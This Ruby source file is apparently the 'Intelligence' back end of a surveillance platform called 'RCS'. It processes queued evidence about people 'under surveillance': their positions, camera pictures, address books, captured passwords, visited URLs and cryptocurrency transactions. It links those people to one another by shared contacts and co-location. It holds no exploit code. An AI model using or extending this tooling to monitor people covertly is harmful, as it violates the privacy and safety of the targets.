#
# Intelligence processing module
#
# the evidence to be processed are queued by the workers
#

require 'rcs-common/trace'
require 'rcs-common/fixnum'
require 'rcs-common/sanitize'
require 'rcs-common/systemstatus'
require 'fileutils'

require_relative 'accounts'
require_relative 'camera'
require_relative 'position'
require_relative 'ghost'
require_relative 'money'
require_relative 'passwords'
require_relative 'virtual'

module RCS
module Intelligence

class Processor
  extend RCS::Tracer
  include SystemStatusMixin

  def self.run
    # infinite processing loop
    loop do
      # get the first entry from the queue and mark it as processed to avoid
      # conflicts with multiple processors
      if (queued = IntelligenceQueue.get_queued)
        entry = queued.first
        count = queued.last
        change_status(:ok, "Correlating #{count} evidence in queue")
        trace :info, "#{count} evidence to be processed in queue"
        process entry
      else
        change_status(:ok, "Idle")
        sleep 1
      end
    end
  rescue Interrupt
    trace :info, "System shutdown. Bye bye!"
    return 0
  rescue Exception => e
    trace :error, "Thread error: #{e.message}"
    trace :fatal, "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
    retry
  end


  def self.process(entry)
    entity = entry.related_entity

    return unless entity

    case entry.type
      when :evidence
        evidence = entry.related_item
        trace :info, "Processing #{evidence.type} evidence for entity #{entity.name.inspect}"
        process_evidence(entity, evidence)

      when :aggregate
        aggregate = entry.related_item
        trace :info, "Processing #{aggregate.type} aggregate for entity #{entity.name.inspect}"
        process_aggregate(entity, aggregate)
    end

  rescue Exception => e
    trace :error, "Cannot process intelligence: #{e.message}"
    trace :fatal, e.backtrace.join("\n")
  end

  def self.process_evidence(entity, evidence)
    case evidence.type
      when 'position'
        # save the last position of the entity
        Position.save_last_position(entity, evidence)
      when 'camera'
        # save picture of the target
        Camera.save_picture(entity, evidence)
      when 'addressbook'
        # analyze the accounts
        Accounts.add_handle(entity, evidence)
        # create a ghost entity and link it as :know
        Ghost.create_and_link_entity(entity, evidence) if check_intelligence_license
        # If a person entity is created with an handle-like name (ex: wxa_d231231),
        # wait for an adressbook ev. and update its name with human readable one.
        Accounts.update_person_entity_name(entity, evidence)
      when 'password'
        # analyze the accounts
        Passwords.add_handle(entity, evidence)
      when 'url'
        Virtual.process_url_evidence(entity, evidence) if check_intelligence_license
    end
  end

  def self.check_intelligence_license
    LicenseManager.instance.check :intelligence
  end

  # Process the aggregate and (eventually) link the entities
  def self.process_aggregate entity, aggregate
    if aggregate.type == :position
      process_position_aggregate(entity, aggregate)

      target = Item.find(entity.target_id)
      Position.suggest_recurring_positions(target, aggregate)
    elsif Money.known_cryptocurrencies.include?(aggregate.type)
      Money.process_money_tx_aggregate(entity, aggregate) if check_intelligence_license
    else
      process_peer_aggregate(entity, aggregate)
    end
  end

  def self.process_peer_aggregate(entity, aggregate)
    aggregate_type  = aggregate.type
    handle_type     = aggregate.entity_handle_type
    peer            = aggregate.data['peer'].strip
    sender          = aggregate.data['sender']
    versus          = aggregate.data['versus'].to_sym

    # The aggregate has a "sender" key that contains the handle of the other peer
    # involved in a communication. The "sender" is an handle of the current entity (the one under surveillance)
    if !sender.blank? and versus == :out
      entity.create_or_update_handle(handle_type, sender.downcase.strip)
    end

    # Search for all the existing entities with that account and link it (direct link)
    matches = Entity.with_handle(handle_type, peer, exclude: entity).each do |communicating_entity|
      trace :debug, "Detected that entity #{entity.name.inspect} communicate with the account #{peer.inspect} (#{handle_type}) of entity #{communicating_entity.name.inspect}"

      info = {"#{handle_type}" => [sender, peer]}
      level = communicating_entity.level == :ghost ? :ghost : :automatic

      RCS::DB::LinkManager.instance.add_link(from: entity, to: communicating_entity, level: level, type: :peer, versus: versus, info: info)
    end

    return unless matches.blank?

    # If there aren't any entities with that account,
    # search if two entities are communicating with a third party and link them (indirect link)
    HandleBook.entities_that_communicate_with(aggregate_type, peer, exclude: entity).each do |other_entity|
      trace :debug, "Detected that entity #{other_entity.name.inspect} is also communicating with the handle #{peer.inspect} (#{handle_type})"

      # create the new entity
      name = Entity.name_from_handle(aggregate_type, peer, other_entity.target_id) || peer

      trace :debug, "Create new entity named #{name.inspect}"

      description = "Created automatically because #{entity.name.inspect} and #{other_entity.name.inspect} both communicated with #{peer.inspect} (#{handle_type})"
      new_person = Entity.create!(name: name, type: :person, level: :automatic, path: [entity.path.first], desc: description)

      # the entities will be linked on callback
      new_person.handles.create!(level: :automatic, type: handle_type, handle: peer)
    end
  end

  def self.process_position_aggregate entity, aggregate
    position = aggregate.position
    position_ary = [position[:longitude], position[:latitude]]

    operation_id = entity.path.first
    point = aggregate.to_point

    # Search for a position entity that match the current position aggregate
    # If found link the position entity to the target entity of the matched aggregate
    Entity.path_include(operation_id).positions_within(position).each do |position_entity|
      next unless position_entity.to_point.similar_to? point

      link_params = {from: entity, to: position_entity, level: :automatic, type: :position, versus: :out}
      RCS::DB::LinkManager.instance.add_link link_params

      return
    end

    # If 2 entities (type :target) have been in the same place at the same time
    # creates a new position entity (if is missing)
    Entity.targets.same_path_of(entity).each do |other_entity|
      aggregate_class = Aggregate.target other_entity.target_id
      next if aggregate_class.empty?

      aggregate_class.where(day: aggregate.day).positions_within(position).each do |ag|

        next unless point.similar_to? ag.to_point

        next unless point.intersect_timeframes? ag.info

        entity_params = {type: :position, path: [operation_id], position: position_ary, level: :automatic, position_attr: {accuracy: point.r}}
        position_entity = Entity.create! entity_params
        position_entity.fetch_address

        return
      end
    end
  end
end

end #Intelligence::
end #RCS::

.